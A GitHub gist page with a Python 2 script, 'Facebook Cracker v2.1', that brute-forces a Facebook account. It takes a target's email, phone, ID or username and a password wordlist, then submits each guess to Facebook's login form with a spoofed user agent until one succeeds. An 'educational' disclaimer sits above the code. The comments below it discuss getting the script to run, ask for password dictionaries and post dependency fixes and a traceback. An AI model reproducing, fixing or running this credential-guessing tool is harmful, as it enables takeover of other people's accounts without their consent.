Skip to content

Instantly share code, notes, and snippets.

@nelyj
Created October 14, 2015 19:30
Show Gist options
  • Save nelyj/7affd78213242d642451 to your computer and use it in GitHub Desktop.
Save nelyj/7affd78213242d642451 to your computer and use it in GitHub Desktop.
facebook.py Modificado - Facebook brute force - Hacking Chile convesation
#!usr/bin/python
#Facebook Cracker Version 2.1 can crack into Facebook Database 100% without Interruption By Facebook Firewall !
#This program is for educational purposes only.
#Don't attack people facebook accounts it's illegal !
#If you want to crack into someone's account, you must have the permission of the user.
#Mauritania Attacker is not responsible.
import sys
import random
import mechanize
import cookielib
import pdb
GHT = '''
+=======================================+
|..........Facebook Cracker v 2.1.......|
+---------------------------------------+
|#Author: Mauritania Attacker |
|#Contact: www.fb.com/mauritanie.forever|
|#Contributos: Nelson Pato Jimenez |
|#contributor contact: |
| https://github.com/patojimenez |
| https://twitter.com/_patojimenez |
| |
|#Date: 02/04/2013 |
|#Update at: 14/10/2015 |
|#This tool is made for pentesting. |
|#Changing the Description of this tool |
|Won't made you the coder ^_^ !!! |
|#Respect Coderz ^_^ |
|#I take no responsibilities for the |
| use of this program ! |
+=======================================+
|..........Facebook Cracker v 2.1.......|
+---------------------------------------+
'''
print "Note: - This tool can crack facebook account even if you don't have the email of your victim"
print "# Hit CTRL+C to quit the program"
print "# Use www.graph.facebook.com for more infos about your victim ^_^"
email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : "))
passwordlist = str(raw_input("Enter the name of the password list file : "))
useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
login = 'https://www.facebook.com/login.php?login_attempt=1'
def attack(password):
try:
sys.stdout.write("\r[*] trying %s.. " % password)
sys.stdout.flush()
br.addheaders = [('User-agent', random.choice(useragents))]
site = br.open(login)
br.select_form(nr=0)
##Facebook
br.form['email'] =email
br.form['pass'] = password
br.submit()
log = br.geturl()
if (log != login) and (not 'login_attempt' in log):
pdb.set_trace()
print "\n\n\n [*] Password found .. !!"
print "\n [*] Password : %s\n" % (password)
sys.exit(1)
except KeyboardInterrupt:
print "\n[*] Exiting program .. "
sys.exit(1)
def search():
global password
for password in passwords:
attack(password.replace("\n",""))
def check():
global br
global passwords
try:
br = mechanize.Browser()
cj = cookielib.LWPCookieJar()
br.set_handle_robots(False)
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_redirect(True)
br.set_cookiejar(cj)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
except KeyboardInterrupt:
print "\n[*] Exiting program ..\n"
sys.exit(1)
try:
list = open(passwordlist, "r")
passwords = list.readlines()
k = 0
while k < len(passwords):
passwords[k] = passwords[k].strip()
k += 1
except IOError:
print "\n [*] Error: check your password list path \n"
sys.exit(1)
except KeyboardInterrupt:
print "\n [*] Exiting program ..\n"
sys.exit(1)
try:
print GHT
print " [*] Account to crack : %s" % (email)
print " [*] Loaded :" , len(passwords), "passwords"
print " [*] Cracking, please wait ..."
except KeyboardInterrupt:
print "\n [*] Exiting program ..\n"
sys.exit(1)
try:
search()
attack(password)
except KeyboardInterrupt:
print "\n [*] Exiting program ..\n"
sys.exit(1)
if __name__ == '__main__':
check()
@nelyj
Copy link
Author

nelyj commented Oct 14, 2015

El problema era que no recorría todo el archivo por el tipo de validación que existía en la linea 66, fue lo único que modifique y agrega un debugger para que sigan cachando como funciona.

@c3312
Copy link

c3312 commented Nov 26, 2015

its not working..please help

@16468
Copy link

16468 commented May 14, 2016

the code is working trying differnt passwords ,i have inserted my password it is just crossed it did the inform me that the key is found the scan is just going on ..........."waste of time"

@danhergir16
Copy link

¿Que debo escribir cuando el me pide la lista de un archivo con contraseñas?
What should i do when it asks me for password list file?

@borregs
Copy link

borregs commented Jan 14, 2017

ola, acaso alguien tiene un link hacia un diccionario de contras en esp?

@aoropeza
Copy link

Works perfect !!!

@SiMonChit
Copy link

image
!=work

@ernestoluisgom1
Copy link

hola todavia funciona??? lo instale y necesito acesoria...

@hax4hax
Copy link

hax4hax commented Jun 28, 2018

This script is for Linux.Need to modify if you wana run on Windows.

@drizzhelle
Copy link

drizzhelle commented Jul 27, 2018

There's an error help me
$ git clone https://gist.github.com/nelyj/7affd78213242d64245
Cloning into '7affd78213242d64245'...
fatal: unable to access 'https://gist.github.com/nelyj/7affd78213242d64245/': OpenSSL SSL_connect: SSL_ERROR_SYSCALL in connection to gist.github.com:443

@Kizami95
Copy link

Not work with me

@sakibtalha
Copy link

You have any Super fast code recovery script

@ilhamsaedee
Copy link

There's an error help me
$ git clone https://gist.github.com/nelyj/7affd78213242d64245
Cloning into '7affd78213242d64245'...
fatal: unable to access 'https://gist.github.com/nelyj/7affd78213242d64245/': OpenSSL SSL_connect: SSL_ERROR_SYSCALL in connection to gist.github.com:443

put after 5 number 1 at last

@Aliex-jangali
Copy link

facebook.py
$ python2 facebook.py
Traceback (most recent call last):
File "facebook.py", line 11, in
import mechanize
ImportError: No module named mechanize

@Xnuvers007
Copy link

facebook.py $ python2 facebook.py Traceback (most recent call last): File "facebook.py", line 11, in import mechanize ImportError: No module named mechanize

pip install mechanize
pip install multi-mechanize

@Aliex-jangali
Copy link

Aliex-jangali commented Nov 21, 2021 via email

@mshojaei77
Copy link

[*] trying 123456.. Traceback (most recent call last):
~, line 89, in
check()
~, line 82, in check
search()
~, line 41, in search
attack(password.replace("\n",""))
~, line 20, in attack
site = br.open(str(login))
^^^^^^^^^^^^^^^^^^^
~\Lib\site-packages\mechanize_mechanize.py", line 257, in open
return self._mech_open(url_or_request, data, timeout=timeout)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
~\Python312\Lib\site-packages\mechanize_mechanize.py", line 287, in _mech_open
response = UserAgentBase.open(self, request, data)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
~\Python312\Lib\site-packages\mechanize_opener.py", line 193, in open
response = urlopen(self, req, data)
^^^^^^^^^^^^^^^^^^^^^^^^
~\Python312\Lib\site-packages\mechanize_urllib2_fork.py", line 431, in _open
result = self._call_chain(self.handle_open, protocol, protocol +
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
~\Python312\Lib\site-packages\mechanize_urllib2_fork.py", line 420, in _call_chain
result = func(*args)
^^^^^^^^^^^
~\Python312\Lib\site-packages\mechanize_urllib2_fork.py", line 1296, in https_open
return self.do_open(conn_factory, req)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
~\Python312\Lib\site-packages\mechanize_urllib2_fork.py", line 1242, in do_open
h.request(str(req.get_method()), str(req.get_selector()), req.data,
~\Lib\http\client.py", line 1319, in request
self._send_request(method, url, body, headers, encode_chunked)
~\Python312\Lib\http\client.py", line 1360, in _send_request
self.putheader(hdr, value)
~\Python312\Lib\http\client.py", line 1296, in putheader
if _is_illegal_header_value(values[i]):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: expected string or bytes-like object, got 'tuple'

@Siamsiamsiamsiamsiam
Copy link

/sdcard/[password.txt

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment